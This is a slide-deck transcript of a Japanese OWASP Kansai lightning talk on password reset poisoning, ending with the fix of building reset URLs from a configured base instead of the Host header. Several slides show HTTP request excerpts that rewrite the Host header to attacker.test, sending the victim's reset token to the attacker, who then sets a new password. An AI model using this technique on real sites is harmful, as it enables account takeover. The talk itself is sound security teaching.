Upgrade to Pro — share decks privately, control downloads, hide ads and more …

パスワード再設定メールのURLについて知っておこう

Sponsored · SiteGround - Reliable hosting with speed, security, and support you can count on. →
Avatar for uyuki uyuki
October 11, 2026

 パスワード再設定メールのURLについて知っておこう

2026年10月11日に「大阪電通大 x OWASP Kansai 〜ゲームとアプリのセキュリティ〜」で発表したLT資料です。(10分)

パスワード再設定URLの仕組みと、Hostヘッダーを利用した「パスワードリセットポイズニング」の攻撃・対策を、ローカル環境のデモを通して紹介しました。

イベントページ:
https://owasp-kansai.doorkeeper.jp/events/199183

GitHub:
https://github.com/uyuki234/owasp-kansai-202610-password-reset-lt

Avatar for uyuki

uyuki

October 11, 2026

More Decks by uyuki

Other Decks in Programming

Transcript

  1. About me • uyuki(うゆき) / uyuki234 • 興味:セキュリティ / ネットワーク

    / 低レイヤー • 読書→https://scrapbox.io/uyuki234/ • SNS→https://x.com/uyuki234 • 全てを自作したい!(まだ:コンパイラ/済?:CPU、OS) 2
  2. デモで起きたこと 攻撃者 ゲームサイト 被害者 attacker.test:3002 game.test:3000 mail.test:3001 ① 細工した再設定要求 ②

    再設定メール ③ リンクを開く(トークン) ④ トークンで再設定 ⑤ 被害者としてログイン 攻撃成功 25
  3. デモで起きたこと 攻撃者 ゲームサイト 被害者 attacker.test:3002 game.test:3000 mail.test:3001 ① 細工した再設定要求 ②

    再設定メール ③ リンクを開く(トークン) ④ トークンで再設定 ⑤ 被害者としてログイン 攻撃成功 26
  4. ① Hostを書き換えて申し込む HTTPリクエストの抜粋 POST /forgot-password HTTP/1.1 Host: attacker.test:3002 攻撃者 ゲームサイト

    [email protected] game.test:3000 HostからURLを生成 ゲームサイトから被害者に届くメール http://attacker.test:3002/reset?token=… 27
  5. ① Hostを書き換えて申し込む HTTPリクエストの抜粋 POST /forgot-password HTTP/1.1 Host: attacker.test:3002 攻撃者 ゲームサイト

    [email protected] game.test:3000 接続先はゲームサイトのまま HTTPリクエストの Hostだけを攻撃者のドメインに変更 HostからURLを生成 ゲームサイトから被害者に届くメール http://attacker.test:3002/reset?token=… 28
  6. ① Hostを書き換えて申し込む HTTPリクエストの抜粋 POST /forgot-password HTTP/1.1 Host: attacker.test:3002 攻撃者 ゲームサイト

    [email protected] game.test:3000 接続先はゲームサイトのまま HTTPリクエストの Hostだけを攻撃者のドメインに変更 HostからURLを生成 ゲームサイトから被害者に届くメール http://attacker.test:3002/reset?token=… 29
  7. ① Hostを書き換えて申し込む HTTPリクエストの抜粋 POST /forgot-password HTTP/1.1 Host: attacker.test:3002 攻撃者 ゲームサイト

    [email protected] game.test:3000 接続先はゲームサイトのまま HTTPリクエストの Hostだけを攻撃者のドメインに変更 HostからURLを生成 ゲームサイトから被害者に届くメール http://attacker.test:3002/reset?token=… 30
  8. ① Hostを書き換えて申し込む HTTPリクエストの抜粋 POST /forgot-password HTTP/1.1 Host: attacker.test:3002 攻撃者 ゲームサイト

    [email protected] game.test:3000 接続先はゲームサイトのまま HTTPリクエストの Hostだけを攻撃者のドメインに変更 HostからURLを生成 31
  9. ① Hostを書き換えて申し込む HTTPリクエストの抜粋 POST /forgot-password HTTP/1.1 Host: attacker.test:3002 攻撃者 ゲームサイト

    [email protected] game.test:3000 接続先はゲームサイトのまま HTTPリクエストの Hostだけを攻撃者のドメインに変更 攻撃者のドメイン HostからURLを生成 32
  10. ② クリックでトークンが届く ① メールのURLを開く GET /reset?token=… HTTP/1.1 被害者 Host: attacker.test:3002

    攻撃者サイト attacker.test:3002 ② 入手したトークンで ゲームサイトへアクセス トークンを取得 http://game.test:3000/reset?token=… ゲームサイト game.test:3000 33
  11. ② クリックでトークンが届く ① メールのURLを開く GET /reset?token=… HTTP/1.1 被害者 Host: attacker.test:3002

    攻撃者サイト attacker.test:3002 ② 入手したトークンで ゲームサイトへアクセス トークンを取得 http://game.test:3000/reset?token=… ゲームサイト game.test:3000 34
  12. ② クリックでトークンが届く ① メールのURLを開く GET /reset?token=… HTTP/1.1 被害者 Host: attacker.test:3002

    攻撃者サイト attacker.test:3002 ② 入手したトークンで ゲームサイトへアクセス トークンを取得 http://game.test:3000/reset?token=… ゲームサイト game.test:3000 35
  13. ③ トークンでパスワードを更新 HTTPリクエストの抜粋 POST /reset HTTP/1.1 Host: game.test:3000 ゲームサイト 攻撃者

    game.test:3000 token=…&password=attacker-pass [email protected] のパスワードを更新 original-pass attacker-pass 攻撃者がパスワードを変更できた!! 36
  14. デモで起きたこと 攻撃者 ゲームサイト 被害者 attacker.test:3002 game.test:3000 mail.test:3001 ① 細工した再設定要求 ②

    再設定メール ③ リンクを開く(トークン) ④ トークンで再設定 ⑤ 被害者としてログイン 攻撃成功 37
  15. 対策:URLのベースを固定する 同じ Host: attacker.test:3002 を受け取った場合でも … 変更前: Hostを使う 変更後:設定値を使う baseURL

    = "http://" + r.Host baseURL = d.serviceURL attacker.test:3002 game.test:3000 再設定URLのベースは Hostに依存せず設定値から作る 参考:OWASP Forgot Password Cheat Sheet / URL Tokens 38